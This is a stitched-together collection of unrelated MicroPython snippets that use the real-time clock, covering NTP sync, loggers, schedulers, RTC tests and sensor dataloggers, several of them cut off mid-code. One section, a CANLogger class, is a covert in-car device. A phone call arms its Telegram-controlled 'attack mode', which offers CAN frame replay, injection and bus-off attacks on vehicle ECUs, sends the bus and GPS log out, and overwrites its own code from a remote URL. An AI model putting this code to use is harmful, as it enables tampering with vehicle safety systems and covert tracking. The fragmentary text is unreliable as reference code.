async def main(loop): rtc = RTC() red = LED(1) red.on() grn = LED(2) sta_if = network.WLAN() sta_if.active(True) sta_if.connect(SSID, PW) while sta_if.status() in ( 1, 2): # https://github.com/micropython/micropython/issues/4682 await asyncio.sleep(1) grn.toggle() if sta_if.isconnected(): red.off() grn.on() await asyncio.sleep(1) # 1s of green == success. grn.off() # Conserve power Latency(2000) count = 0 while True: publish(ujson.dumps([count, rtc.datetime()])) count += 1 await asyncio.sleep(120) # 2 mins else: # Fail to connect red.on() grn.off()
def set_NTP_time(): import time from pyb import RTC print("Setting time from NTP") t = get_NTP_time() if t is None: print("Could not set time from NTP") return False tz = 0 with database.Database() as db: tz = db.get("timezone", 0) tz_minutes = int(abs(tz) % 100) * (1 if tz >= 0 else -1) tz_hours = int(tz / 100) t += (tz_hours * 3600) + (tz_minutes * 60) tm = time.localtime(t) tm = tm[0:3] + (0,) + tm[3:6] + (0,) rtc = RTC() rtc.init() rtc.datetime(tm) return True
def __init__(self, *args, **kwargs): super().__init__(args, kwargs) self._uart = None self._pps_pin = None if kwargs is not None: if 'gps_uart' in kwargs: self._uart = kwargs['gps_uart'] if 'pps_pin' in kwargs: self._pps_pin = kwargs['pps_pin'] if (self._uart == None): raise ValueError("need a uart for the gps") if (self._pps_pin == None): raise ValueError("need a pin that gps sends 1pps to us on") # we also need the RTC device self._rtc = RTC() self._pps_event = Event() self._rtc_ssr = uctypes.struct(_RTC_BASE + _RTC_SSR_OFFSET, self._rtc_ssr_struct, uctypes.NATIVE) self._rtc_dr = uctypes.struct(_RTC_BASE + _RTC_DR_OFFSET, self._rtc_dr_struct, uctypes.NATIVE) self._pps_rtc = 0 self._pps_discard = 0 self._ss_offset = -10000 self._refclk = (0, 0, 0, 0, 0, 0)
def __init__(self, priority, caching_enabled=False): """ Logger entry point :param priority: logger default priority :param caching_enabled: caching toggle :return: """ self.__LOGGER_PRIORITY = priority self.__CACHING_ENABLED = caching_enabled self.__CACHE = [] self.__CACHE_MAX_LENGTH = 5 self.__RTC = RTC() datetime = self.__RTC.datetime() app_config = {"serial_only": False, "fs_root": ""} try: app_config = load_config_file("app_config.json") os.mkdir("log") except: pass fs_root = app_config['fs_root'] self.__AIR_PY_LOG = ("%slog/airpy-airpy-log-D%02d-H%02d-m%02d.txt" % (fs_root, datetime[2], datetime[4], datetime[5])) self.__SYSTEM_LOG = ("%slog/airpy-system-log-D%02d-H%02d-m%02d.txt" % (fs_root, datetime[2], datetime[4], datetime[5])) self.__MISSION_LOG = ("%slog/airpy-mission-log-D%02d-H%02d-m%02d.txt" % (fs_root, datetime[2], datetime[4], datetime[5])) self.__FILESYSTEM_AVAILABLE = app_config["serial_only"] self.__IN_MISSION = False info("AirPy logger. File sytem available {}".format( app_config['serial_only']))
def settime(): import time from pyb import RTC t = getntptime() tm = time.localtime(t) tm = tm[0:3] + (0,) + tm[3:6] + (0,) rtc = RTC() rtc.init() rtc.datetime(tm)
class date_time: def __init__(self): self.datime = RTC() def year(self): tim = self.datime.datetime() return tim[0] def month(self): tim = self.datime.datetime() return tim[1] def day(self): tim = self.datime.datetime() return tim[2] def weekday(self): tim = self.datime.datetime() wds = ['monday', 'tuesday', 'wednesday', 'thursday', 'friday', 'saturday', 'sunday'] return wd[tim[3]-1] def date(self): return '%s/%s/%s' % (self.month(), self.day(), self.year()) def hour(self): tim = self.datime.datetime() h = tim[4] e = 'a.m' if h >= 12 and h != 24: e = 'p.m' if h > 12: h -= 12 return '%s %s' % (h, e) def minute(self): tim = self.datime.datetime() return tim[5] def second(self): tim = self.datime.datetime() return tim[6] def time(self): tim = self.datime.datetime() h = tim[4] e = 'a.m' if h >= 12 and h != 24: e = 'p.m' if h > 12: h -= 12 return '%s:%s:%s %s' % (h, self.minute(), self.second(), e) def subseconds(self): tim = self.datime.datetime() return tim[7]
def __init__(self): self.makhina = Makhina() self.plus_button = AnalogButton(up_button_pin) self.minus_button = AnalogButton(down_button_pin) self.right_button = AnalogButton(right_button_pin) self.start_button = AnalogButton(start_button_pin) self.stop_button = AnalogButton(stop_button_pin) self.level_material = machine.Pin(level_material_pin, machine.Pin.IN, machine.Pin.PULL_UP) self.break_arm = machine.Pin(break_arm_pin, machine.Pin.IN, machine.Pin.PULL_UP) self.emergency_stop = machine.Pin(emergency_stop_pin, machine.Pin.IN, machine.Pin.PULL_UP) self.high_temperature = machine.Pin(high_temperature_pin, machine.Pin.IN, machine.Pin.PULL_UP) self.assertion = machine.Pin(assertion_pin, machine.Pin.OUT) self.assertion.value(0) self.start_button.handler = self.start self.stop_button.handler = self.stop self.change_current_config('000') self.rtc = RTC() print("INIT SPEEDS") self.high_pressure_error = Error(2) self.high_pressure_error.check = self.high_pressure_check self.high_pressure_error.primary_handler = self.high_pressure_primary_handler self.high_pressure_error.skip = self.skip_high_pressure self.low_raw_material_error = Error(3) self.low_raw_material_error.check = self.low_raw_material_check self.low_raw_material_error.primary_handler = self.low_raw_primary_handler self.low_raw_material_error.skip = self.skip_low_raw_material self.break_arm_error = Error(4) self.break_arm_error.check = self.break_arm_check self.break_arm_error.primary_handler = self.break_arm_primary_nandler self.break_arm_error.skip = self.skip_break_arm self.emergency_stop_error = Error(5) self.emergency_stop_error.check = self.emergency_stop_check self.emergency_stop_error.primary_handler = self.emergency_stop_primary_handler self.emergency_stop_error.skip = self.skip_emergency_stop self.errors = [ self.high_pressure_error, self.low_raw_material_error, self.break_arm_error, self.emergency_stop_error, ]
def __init__(self, priority, caching_enabled=False): """ Logger entry point :param priority: logger default priority :param caching_enabled: caching toggle :return: """ self.__LOGGER_PRIORITY = priority self.__CACHING_ENABLED = caching_enabled self.__CACHE = [] self.__CACHE_MAX_LENGTH = 5 self.__RTC = RTC() datetime = self.__RTC.datetime() app_config = {"serial_only": False, "fs_root": ""} try: app_config = load_config_file("app_config.json") os.mkdir("log") except: pass fs_root = app_config['fs_root'] self.__AIR_PY_LOG = ("%slog/airpy-airpy-log-D%02d-H%02d-m%02d.txt" % (fs_root, datetime[2], datetime[4], datetime[5])) self.__SYSTEM_LOG = ("%slog/airpy-system-log-D%02d-H%02d-m%02d.txt" % (fs_root, datetime[2], datetime[4], datetime[5])) self.__MISSION_LOG = ("%slog/airpy-mission-log-D%02d-H%02d-m%02d.txt" % (fs_root, datetime[2], datetime[4], datetime[5])) self.__FILESYSTEM_AVAILABLE = app_config["serial_only"] self.__IN_MISSION = False info("AirPy logger. File sytem available {}".format(app_config['serial_only']))
def settime(): # Set the RTC to the NTP time print("Set Time") t = time() tm = utime.localtime(t) print("NTP", tm) RTC().datetime((tm[0], tm[1], tm[2], tm[6], tm[3], tm[4], tm[5], 0))
def time_rtc2dictionary(dictionary): year, month, day, weekday, hours, minutes, seconds, subseconds = RTC().datetime() dictionary["year"] = year dictionary["month"] = month dictionary["day"] = day dictionary["weekday"] = weekday dictionary["hours"] = hours dictionary["minutes"] = minutes dictionary["seconds"] = seconds
def time_dictionary2rtc(dictionary): year = dictionary.get("year", 2021) month = dictionary.get("month", 1) day = dictionary.get("day", 14) weekday = dictionary.get("weekday", 4) hours = dictionary.get("hours", 14) minutes = dictionary.get("minutes", 1) seconds = dictionary.get("seconds", 0) subseconds = 0 rtc_tuple_base = year, month, day, weekday, hours, minutes, seconds, subseconds RTC().datetime(rtc_tuple_base)
def __tick(self, arg): current = RTC().datetime() for task in self.__tasks: if (self.due(task["datetime"], current)): self.__logger.debug("Task {} is due. Executing ...".format( task["id"])) task["function"](*task["args"], **task["kwargs"]) if (self.__is_zero(task["interval"])): self.__tasks.remove(task) else: task["datetime"] = self.add_dates(current, task["interval"])
def set_NTP_time(): import time from pyb import RTC print("Setting time from NTP") t = get_NTP_time() if t is None: print("Could not set time from NTP") return False tz = 0 with database.Database() as db: tz = db.get("timezone", 0) tz_minutes = int(abs(tz) % 100) * (1 if tz >= 0 else -1) tz_hours = int(tz / 100) t += (tz_hours * 3600) + (tz_minutes * 60) tm = time.localtime(t) tm = tm[0:3] + (0, ) + tm[3:6] + (0, ) rtc = RTC() rtc.init() rtc.datetime(tm) return True
def write_line(line): #f = open('/sd/start_test.txt', 'a') dt = RTC().datetime() ts = "{}-{:02d}-{:02d} {:02d}:{:02d}:{:02d}\n".format( dt[0], dt[1], dt[2], dt[4], dt[5], dt[6]) print(ts) print(line) #f.write(ts) #f.write(line + '\n') #f.close() sleep(.5)
def __init__(self, lcd, makhina_control): self.config_string = EditableButton(lcd, 75, 50, 128, 17, makhina_control.config) self.time_string = EditableButton(lcd, 30, 80, 128, 17, "00:00:00") self.time_string.plus = self.plus_handler_time self.time_string.minus = self.minus_handler_time self.date_string = EditableButton(lcd, 5, 100, 128, 17, "00:00:00") self.date_string.char_editing = 2 self.date_string.plus = self.plus_handler_date self.date_string.minus = self.minus_handler_date self.date_string.right = self.right_handler_date self.settings_buttons = [ self.config_string, self.time_string, self.date_string ] self.analog_buttons = [ makhina_control.plus_button, makhina_control.minus_button, makhina_control.right_button ] for anal_butt in self.analog_buttons: anal_butt.enabled = False self.makhina_control = makhina_control self.time_string.font_size = 1 self.date_string.font_size = 1 self.change_button = Button(lcd, 0, 125, 128, 30, "Изменить") self.change_button.text_position_x = 30 self.ok_button = Button(lcd, 0, 125, 64, 30, "Ок") self.cancel_button = Button(lcd, 64, 125, 64, 30, "Отм") self.cancel_button.text_position_x = 75 self.change_button.handler = self.change_handler self.ok_button.handler = self.ok_handler self.cancel_button.handler = self.cancel_handler self.rtc = RTC() loop = asyncio.get_event_loop() loop.create_task(self.timer())
def run(): # Main Loop rtc = RTC() dt = rtc.datetime() delta_min = 3 # increment by 3 minutes total_min = 0 while total_min < 1440: # up to 24H show_time(dt[4], dt[5]) total_min = total_min + delta_min # Add minutes to date _l = list(dt) # Tuple to list (because tuple are immutable) _l[5] += 3 if _l[5] > 59: _l[4] += 1 _l[5] = _l[5] - 59 if _l[4] > 23: _l[4] = 0 dt = tuple(_l) # List to tuple # Wait a bit sleep(0.2)
def settime(): import time from pyb import RTC t = getntptime() tm = time.localtime(t) tm = tm[0:3] + (0, ) + tm[3:6] + (0, ) rtc = RTC() rtc.init() rtc.datetime(tm)
def time_modify_rtc( modify_amount=0, modify_unit=None ): modify_amount = int(modify_amount) base_time = utime.localtime() year, month, mday, hour, minute, second, weekday, yearday = base_time change_time = False if modify_amount != 0: year, month, mday, hour, minute, second, weekday, yearday = base_time if modify_unit == "year": change_time = True year += modify_amount elif modify_unit == "month": change_time = True month += modify_amount elif modify_unit == "day": change_time = True mday += modify_amount elif modify_unit == "hour": change_time = True hour += modify_amount elif modify_unit == "minute": change_time = True minute += modify_amount elif modify_unit == "second": change_time = True second += modify_amount if not change_time: raise NotImplementedError("Wrong unit %s" % modify_unit) if change_time: future_time = utime.mktime((year, month, mday, hour, minute, second, weekday, yearday)) base_time_target = time.localtime(future_time) RTC().datetime(tuple_time2rtc(base_time_target)) base_time_saved = utime.localtime() if base_time_target == base_time_saved: return True else: print("target", base_time_target) print("after", base_time_saved) return False
def __init__(self, file=env_file_name, header=env_header): """Record optional sensor data Args: lvl: Logging level Returns: None Raises: None """ self._activity_type = "Environment_Observation" self._persist = CSV_Util(file, header) self.test = False self._id = env['id'] self._lat = "{:1.6f}".format(env['location']['lat']) self._long = "{:1.6f}".format(env['location']['long']) dt = RTC().datetime() self._ts = "{}-{:02d}-{:02d} {:02d}:{:02d}:{:02d}".format( dt[0], dt[1], dt[2], dt[4], dt[5], dt[6]) self._temperature = 0
def __init__(self): # Constants and variables # # UART cmd to en-/disable the GPS self.GPS_OFF = (0xB5, 0x62, 0x06, 0x04, 0x04, 0x00, 0x00, 0x00, 0x08, 0x00, 0x16, 0x74) self.GPS_ON = (0xB5, 0x62, 0x06, 0x04, 0x04, 0x00, 0x00, 0x00, 0x09, 0x00, 0x17, 0x76) self.SIM_DISABLED = False self.GPS_LOG_TIME = 5000 # 5s self.SHUTOFF_TIME = 30000 # 30s of no CAN activity self.TOKEN = "REDACTED" self.VERSION = 1.0 if 'sd' in os.listdir('/'): self.PATH = '/sd/' else: self.PATH = '' self.CAN_FILE = open(self.PATH + 'can.log', 'a+') # This will hold CAN IDs to be filtered for in the can log self.can_filter = [] self.allowed_users = ["610574975"] self.interrupt = False self.shutdown = False # Init modules # # GPS init self.gps_uart = UART(1, 9600) # init with given baudrate self.gps_uart.init(9600, bits=8, parity=None, stop=1, read_buf_len=512 // 2) # init with given parameters self.gps = MicropyGPS() # CAN init (500 MHz) self.can = CAN(1, CAN.NORMAL) # recv self.can2 = CAN(2, CAN.NORMAL) # send self.can.init(CAN.NORMAL, prescaler=4, sjw=1, bs1=14, bs2=6, auto_restart=True) self.can2.init(CAN.NORMAL, prescaler=4, sjw=1, bs1=14, bs2=6, auto_restart=True) self.can.setfilter(0, CAN.MASK16, 0, (0, 0, 0, 0)) # SIM800L init sim_uart = UART(4, 9600, timeout=1000, read_buf_len=2048 // 4) self.modem = Modem(sim_uart) self.modem.initialize() try: self.modem.connect('internet.eplus.de') except: self.SIM_DISABLED = True print("LOG ONLY MODE (NO GSM)") # Clock init self.rtc = RTC() self.rtc.wakeup(5000) # wakeup call every 5s # Interrupt Flag init self.interrupt = False pyb.ExtInt('X5', pyb.ExtInt.IRQ_FALLING, pyb.Pin.PULL_UP, self.incoming_call) # Sleep pins for GSM self.gsm_sleep = pyb.Pin('X6', pyb.Pin.OUT_PP) self.gsm_sleep.value(0) if not self.SIM_DISABLED: # Software Update self.ota() # Telegram Bot self.telegram = TelegramBot(token=self.TOKEN, modem=self.modem)
class CANLogger(object): def __init__(self): # Constants and variables # # UART cmd to en-/disable the GPS self.GPS_OFF = (0xB5, 0x62, 0x06, 0x04, 0x04, 0x00, 0x00, 0x00, 0x08, 0x00, 0x16, 0x74) self.GPS_ON = (0xB5, 0x62, 0x06, 0x04, 0x04, 0x00, 0x00, 0x00, 0x09, 0x00, 0x17, 0x76) self.SIM_DISABLED = False self.GPS_LOG_TIME = 5000 # 5s self.SHUTOFF_TIME = 30000 # 30s of no CAN activity self.TOKEN = "REDACTED" self.VERSION = 1.0 if 'sd' in os.listdir('/'): self.PATH = '/sd/' else: self.PATH = '' self.CAN_FILE = open(self.PATH + 'can.log', 'a+') # This will hold CAN IDs to be filtered for in the can log self.can_filter = [] self.allowed_users = ["610574975"] self.interrupt = False self.shutdown = False # Init modules # # GPS init self.gps_uart = UART(1, 9600) # init with given baudrate self.gps_uart.init(9600, bits=8, parity=None, stop=1, read_buf_len=512 // 2) # init with given parameters self.gps = MicropyGPS() # CAN init (500 MHz) self.can = CAN(1, CAN.NORMAL) # recv self.can2 = CAN(2, CAN.NORMAL) # send self.can.init(CAN.NORMAL, prescaler=4, sjw=1, bs1=14, bs2=6, auto_restart=True) self.can2.init(CAN.NORMAL, prescaler=4, sjw=1, bs1=14, bs2=6, auto_restart=True) self.can.setfilter(0, CAN.MASK16, 0, (0, 0, 0, 0)) # SIM800L init sim_uart = UART(4, 9600, timeout=1000, read_buf_len=2048 // 4) self.modem = Modem(sim_uart) self.modem.initialize() try: self.modem.connect('internet.eplus.de') except: self.SIM_DISABLED = True print("LOG ONLY MODE (NO GSM)") # Clock init self.rtc = RTC() self.rtc.wakeup(5000) # wakeup call every 5s # Interrupt Flag init self.interrupt = False pyb.ExtInt('X5', pyb.ExtInt.IRQ_FALLING, pyb.Pin.PULL_UP, self.incoming_call) # Sleep pins for GSM self.gsm_sleep = pyb.Pin('X6', pyb.Pin.OUT_PP) self.gsm_sleep.value(0) if not self.SIM_DISABLED: # Software Update self.ota() # Telegram Bot self.telegram = TelegramBot(token=self.TOKEN, modem=self.modem) # Logs input to can.log # args will be separated by comma and printed each time a new line def log(self, *args, file='can.log'): # With this case writing to can.log is quite a lot faster, as closing a file takes ages due to writing to fs # But we must ensure to close the file at some point if file is not 'can.log': with open(self.PATH + file, 'a+') as f: print(','.join(args), file=f) os.sync() else: # ensure we have an open file # if self.CAN_FILE.closed: # closed does not exists, thus need workaround below try: self.CAN_FILE.read() except OSError: self.CAN_FILE = open(self.PATH + 'can.log', 'a+') print(','.join(args), file=self.CAN_FILE) # Override is working def ota(self): url = 'https://raw.githubusercontent.com/jsonnet/CANLogger/master/version' response = self.modem.http_request(url, 'GET') # If a newer version is available if float(response.text) > self.VERSION: url = 'https://raw.githubusercontent.com/jsonnet/CANLogger/master/code/main.py' response = self.modem.http_request(url, 'GET') # Override existing main file and reboot with open(self.PATH + 'main.py', 'w') as f: print(response.text, file=f) # Force buffer write and restart os.sync() machine.soft_reset() # Callback function for incoming call to initiate attack mode def incoming_call(self, _): # Hangup call self.modem.hangup() # Reactivate logger if called during sleep phase if self.shutdown: self.shutdown = False self.gsm_sleep.value(0) self.sendGPSCmd(self.GPS_ON) for u in self.allowed_users: self.telegram.send(u, 'Ready in attack mode!') # light up yellow to indicate attack mode LED(3).intensity(16) self.interrupt = True # PoC for Telegram def message_handler(self, messages): for message in messages: # Check permitted users if message['id'] not in self.allowed_users: continue if message[2] == '/start': self.telegram.send( message[0], 'CAN Logger in attack mode, ready for you!') else: if message['text'] == "log": params = message['text'].strip().split(" ")[1:] # get if params[0] == 'get': self.telegram.sendFile( message[0], open(self.PATH + 'can.log', 'rb')) # with open(self.PATH + 'can.log', 'r') as f: # data = f.read() # Okay, will print \n explicitly! # self.telegram.send(message[0], data) os.remove(self.PATH + 'can.log') # clear elif params[0] == 'clear': os.remove(self.PATH + 'can.log') else: self.helpMessage(message) elif message['text'] == "replay": # Find first message of id and resend x times params = message['text'].strip().split(" ")[1:] if len(params) < 2: self.helpMessage(message) continue id, times = params[0:1] while True: can_id, _, _, can_data = self.can.recv(0) if can_id == id: for _ in times: self.can2.send(can_data, can_id, timeout=1000) self.log("sent {} from {} {} times".format( can_data, can_id, times)) break elif message['text'] == "injection": params = message['text'].split(" ")[1:] if len(params) < 4: self.helpMessage(message) continue can_id, can_data, times, _delay = params[0:2] for _ in times: self.can2.send(can_data, can_id, timeout=1000) pyb.delay(_delay) elif message['text'] == "reply": params = message['text'].strip().split(" ")[1:] if len(params) < 4: self.helpMessage(message) continue id, message, id_a, answer = params[0:3] while True: can_id, _, _, can_data = self.can.recv(0) if can_id == id and can_data == message: self.can2.send(answer, id_a, timeout=1000) break elif message[ 'text'] == "busoff": # TODO WIP feature only manual at that point params = message['text'].strip().split(" ")[1:] if len(params) < 4: self.helpMessage(message) continue mark_id, vic_id, payload, _delay = params[0:3] self.can.setfilter(0, CAN.LIST16, 0, ( mark_id, vic_id, )) # Clear buffer (maybe/hopefully) for _ in range(5): if not self.can.any(0): break self.can.recv(0) count = 0 while count <= 5: can_id, _, _, can_data = self.can.recv(0) if can_id == mark_id: pyb.delay(_delay) self.can2.send(payload, vic_id, timeout=1000) while True: can_id, _, _, can_data = self.can.recv(0) if can_id == vic_id and can_data != payload: count = 0 break count += 1 # reset filter self.can.setfilter(0, CAN.MASK16, 0, (0, 0, 0, 0)) elif message['text'] == "filter": # CAN Log Filter by ID params = message['text'].strip().split(" ")[1:] # add if params[0] == 'add': for id in params[1:]: self.can_filter.append(id) # remove elif params[0] == 'remove': for id in params[1:]: self.can_filter.remove(id) # clear elif params[0] == 'clear': self.can_filter.clear() else: self.helpMessage(message) elif message['text'] == "ota": self.ota() elif message['text'] == "help": self.helpMessage(message) elif message['text'] == "exit": LED(3).off() self.interrupt = False self.telegram.send(message[0], 'Executed!') def helpMessage(self, message): helpme = """ log get|clear - Retrieve or clear saved can data log replay id freq - Replay messages of given id reply id message answer - Reply to a specified message with an answer injection id data freq delay - Inject given can packet into bus at a given frequency busoff marker victim payload freq - Manual BUS off attack for given victim filter add|remove|clear id - Set a filter for when logging ota - Check and update newest version help - Displays this message exit - Exit this mode and return to logging """ self.telegram.send(message[0], helpme) def sendGPSCmd(self, cmd): for i in range(len(cmd)): self.gps_uart.writechar(cmd[i]) def loop(self): gps_time = utime.ticks_ms() while True: # Check if new messages arrived after shutdown if self.shutdown and not self.can.any(0): pyb.stop() # soft sleep (500 uA) continue elif self.shutdown and self.can.any(0): self.shutdown = False self.gsm_sleep.value(0) self.sendGPSCmd(self.GPS_ON) # Main loop if not self.interrupt: # Free memory # gc.collect() ## Logging mode ## # Only log gps once a few seconds if utime.ticks_ms() - gps_time >= self.GPS_LOG_TIME: gps_time = utime.ticks_ms() # if module retrieved data: update and log if self.gps_uart.any(): self.gps.updateall(self.gps_uart.read()) self.log(str(self.rtc.datetime()), self.gps.latitude_string(), self.gps.longitude_string(), self.gps.speed_string()) # Log new incoming can messages try: # throws OSError can_id, _, _, can_data = self.can.recv( 0, timeout=self.SHUTOFF_TIME) # Filter for CAN Log if not self.can_filter or can_id in self.can_filter: self.log(str(self.rtc.datetime()), str(can_id), binascii.hexlify(can_data).decode('utf-8')) except OSError: # We timed out from can connection -> could mean car is shut down self.shutdown = True self.CAN_FILE.close() os.sync() self.gsm_sleep.value(1) self.sendGPSCmd(self.GPS_OFF) continue else: ## Attack mode ## self.CAN_FILE.close() # Close log file first os.sync() while self.interrupt: self.telegram.listen(self.message_handler)
# read analogue temp sensor on Pico # conversion for LMT86LPG # http://www.ti.com/lit/ds/symlink/lmt86.pdf # sensor is +- 0.4 to 0.7C so can round to one decimal place # Kirk Martinez and Denise Yap 2018 import math from time import sleep from pyb import Pin from pyb import RTC a = pyb.ADC(pyb.Pin.board.A5) g = pyb.Pin('A7', pyb.Pin.OUT_PP) rtc = RTC() # set a specific date and time rtc.datetime((2019, 7, 27, 5, 15, 42, 0, 0)) #Tuen on lmt86 print('LMT86 turn on.') g.high() #must wait 2ms before use sleep(0.02) #Check ADC value def adcValue(): adcVal = a.read() return adcVal #Convert ADC value to mV
from pyb import Pin, ExtInt, LED, RTC PIR_PIN = Pin.board.P4 RED_LED_ID = 1 def callback(line): pass led = LED(RED_LED_ID) pir = Pin(PIR_PIN, Pin.IN) ext = ExtInt(pir, ExtInt.IRQ_RISING, Pin.PULL_NONE, callback) led.on() rtc = RTC() rtc.datetime((2021, 3, 21, 7, 17, 00, 0, 0)) # When connecting LiPo sensor.reset() sensor.set_pixformat(sensor.RGB565) sensor.set_framesize(sensor.WQXGA2) sensor.skip_frames(time=2000) # Let settings take effect led.off() while True: led.on() t = rtc.datetime() y = str(t[0]) m = '%02d' % t[1] d = '%02d' % t[2] # w = '%d' % t[3] h = '%02d' % t[4] n = '%02d' % t[5]
import pyb from pyb import RTC rtc = RTC() print(rtc) # make sure that 1 second passes correctly rtc.datetime((2014, 1, 1, 1, 0, 0, 0, 0)) pyb.delay(1001) print(rtc.datetime()[:7]) def set_and_print(datetime): rtc.datetime(datetime) print(rtc.datetime()[:7]) # make sure that setting works correctly set_and_print((2000, 1, 1, 1, 0, 0, 0, 0)) set_and_print((2000, 1, 31, 1, 0, 0, 0, 0)) set_and_print((2000, 12, 31, 1, 0, 0, 0, 0)) set_and_print((2016, 12, 31, 1, 0, 0, 0, 0)) set_and_print((2016, 12, 31, 7, 0, 0, 0, 0)) set_and_print((2016, 12, 31, 7, 1, 0, 0, 0)) set_and_print((2016, 12, 31, 7, 12, 0, 0, 0)) set_and_print((2016, 12, 31, 7, 13, 0, 0, 0)) set_and_print((2016, 12, 31, 7, 23, 0, 0, 0)) set_and_print((2016, 12, 31, 7, 23, 1, 0, 0)) set_and_print((2016, 12, 31, 7, 23, 59, 0, 0)) set_and_print((2016, 12, 31, 7, 23, 59, 1, 0)) set_and_print((2016, 12, 31, 7, 23, 59, 59, 0)) set_and_print((2099, 12, 31, 7, 23, 59, 59, 0))
# Datalogger code for Cawthron Institute's mussel farm accelerometer chain # Author: Kevin Tang """ DEFAULT SETTINGS MODE = DATA_RATE_1HZ BAUD RATE: 9600 UART DATA FRAME: bits=8, parity=None, stop=1, timeout=1000 WDT TIMEOUT: 3000ms 1 HZ SLEEP: 30s 2 HZ SLEEP: 10s """ from machine import Pin, I2C, SPI, UART, WDT from ds3231_port import DS3231 from pyb import RTC import utime import time import sys import os # Timeout values global SLEEP_1HZ global SLEEP_2HZ SLEEP_1HZ = 30 SLEEP_2HZ = 10 # Modes global DATA_RATE_1HZ global DATA_RATE_2HZ global MODE DATA_RATE_1HZ = 'one' DATA_RATE_2HZ = 'two' MODE = DATA_RATE_1HZ # Choose modes here (DATA_RATE_1HZ or DATA_RATE_2HZ)
""" RTC test for the CC3200 based boards. """ from pyb import RTC import os import time machine = os.uname().machine if not "LaunchPad" in machine and not "WiPy" in machine: raise Exception("Board not supported!") rtc = RTC() print(rtc) print(rtc.now()[:6]) rtc = RTC(datetime=(2015, 8, 29, 9, 0, 0, 0, None)) print(rtc.now()[:6]) rtc.deinit() print(rtc.now()[:6]) rtc.init((2015, 8, 29, 9, 0, 0, 0, None)) print(rtc.now()[:6]) seconds = rtc.now()[5] time.sleep_ms(1000) print(rtc.now()[5] - seconds == 1) seconds = rtc.now()[5] time.sleep_ms(2000) print(rtc.now()[5] - seconds == 2)
res_b = b def periodic(c, d): global res_c, res_d res_c += c res_d += d logger.info("Test scheduler") logger.info("Initializing scheduler.") sched = Scheduler(interval=TICK_INTERVAL) logger.info("Registering tasks.") now = RTC().datetime() sched.register_task(0, sched.add_dates(now, (0, 0, 0, 0, 0, 0, 10)), None, single, 1, b=2) sched.register_task(1, sched.add_dates(now, (0, 0, 0, 0, 0, 0, 10)), (0, 0, 0, 0, 0, 0, 10), periodic, 3, d=4) logger.info("Starting scheduler.") sched.start()
import pyb from pyb import RTC rtc = RTC() print(rtc) # make sure that 1 second passes correctly rtc.datetime((2014, 1, 1, 1, 0, 0, 0, 0)) pyb.delay(1000) print(rtc.datetime()[:7]) def set_and_print(datetime): rtc.datetime(datetime) print(rtc.datetime()[:7]) # make sure that setting works correctly set_and_print((2000, 1, 1, 1, 0, 0, 0, 0)) set_and_print((2000, 1, 31, 1, 0, 0, 0, 0)) set_and_print((2000, 12, 31, 1, 0, 0, 0, 0)) set_and_print((2016, 12, 31, 1, 0, 0, 0, 0)) set_and_print((2016, 12, 31, 7, 0, 0, 0, 0)) set_and_print((2016, 12, 31, 7, 1, 0, 0, 0)) set_and_print((2016, 12, 31, 7, 12, 0, 0, 0)) set_and_print((2016, 12, 31, 7, 13, 0, 0, 0)) set_and_print((2016, 12, 31, 7, 23, 0, 0, 0)) set_and_print((2016, 12, 31, 7, 23, 1, 0, 0)) set_and_print((2016, 12, 31, 7, 23, 59, 0, 0)) set_and_print((2016, 12, 31, 7, 23, 59, 1, 0)) set_and_print((2016, 12, 31, 7, 23, 59, 59, 0))
global res_a, res_b res_a = a res_b = b def periodic(c, d): global res_c, res_d res_c += c res_d += d logger.info("Test scheduler") logger.info("Initializing scheduler.") sched = Scheduler(interval=TICK_INTERVAL) logger.info("Registering tasks.") now = RTC().datetime() sched.register_task(0, sched.add_dates(now, (0, 0, 0, 0, 0, 0, 10)), None, single, 1, b=2) sched.register_task(1, sched.add_dates(now, (0, 0, 0, 0, 0, 0, 10)), (0, 0, 0, 0, 0, 0, 10), periodic, 3, d=4) logger.info("Starting scheduler.") sched.start() logger.info("Now: {}, Now + 22s: {}".format(now, sched.add_dates(now, (0, 0, 0, 0, 0, 0, 22)))) logger.info("Waiting for results to change.") while(not(sched.due(sched.add_dates(now, (0, 0, 0, 0, 0, 0, 12)), RTC().datetime()))): #print("{}, {}, {}, {}".format(res_a, res_b, res_c, res_d)) if((res_a == 1) and (res_b == 2) and (res_c == 3) and (res_d == 4)): break
# RTC Example # # This example shows how to use the RTC. import time from pyb import RTC rtc = RTC() rtc.datetime((2018, 5, 28, 2, 0, 0, 0, 0)) while (True): print(rtc.datetime()) time.sleep(1000)
def __init__(self): self.datime = RTC()
# Receiver code for Cawthron Institute's mussel farm accelerometer chain # Author: Kevin Tang from machine import I2C, Pin, SPI, UART, WDT from lis3dh import LIS3DH, LIS3DH_I2C, RANGE_2_G, DATARATE_10_HZ, STANDARD_GRAVITY from pyb import ADC, RTC from ds3231_port import DS3231 import time import os import sys import math if sys.platform == 'pyboard': # Initialising pins thermistor = pyb.ADC('Y12') tx_enable = Pin('X20', Pin.OUT) # Initialising I2C i2c = I2C(1) rtc_i2c = I2C(2) ds3231 = DS3231(rtc_i2c) # Initialising UART uart = UART(4, 115200) # Pins X1 and X2 uart.init(115200, bits=8, parity=None, stop=1, timeout=0) # Non-blocking UART else: print('Incompatible board detected, please connect pyboard') ID = 0 # Receiver ID (0-9). MAKE SURE TO CHANGE accelerometer = LIS3DH_I2C(i2c, int1=None) # Date initialisation rtc = RTC() timeCheck = ds3231.get_time() # Gets current time rtc.datetime(
# Receiver code for Cawthron Institute's mussel farm accelerometer chain # Author: Kevin Tang """ DEFAULT VALUES MODE: 1 HZ BAUD RATE: 9600 DATA FRAME: bits=8, parity=None, stop=1, timeout=0 WDT TIMEOUT: 3000ms ACCELEROMETER RANGE: 2G ACCELEROMETER FREQUENCY: 10HZ """ from machine import I2C, Pin, SPI, UART, WDT from lis3dh import LIS3DH, LIS3DH_I2C, RANGE_2_G, DATARATE_10_HZ, STANDARD_GRAVITY from pyb import ADC, RTC from ds3231_port import DS3231 import time import os import sys import math global ID global timer ID = 0 # Receiver ID (0-9). MAKE SURE TO CHANGE timer = 1 # By default, sleep value is set to 1s (1 Hz mode) # Enable Watchdog timer if using battery global TIMEOUT_VALUE TIMEOUT_VALUE = 3000 if pyb.Pin.board.USB_VBUS.value() == 0: wdt = WDT(timeout = TIMEOUT_VALUE) # enable with a timeout of 3 seconds if sys.platform == 'pyboard': # Initialising pins
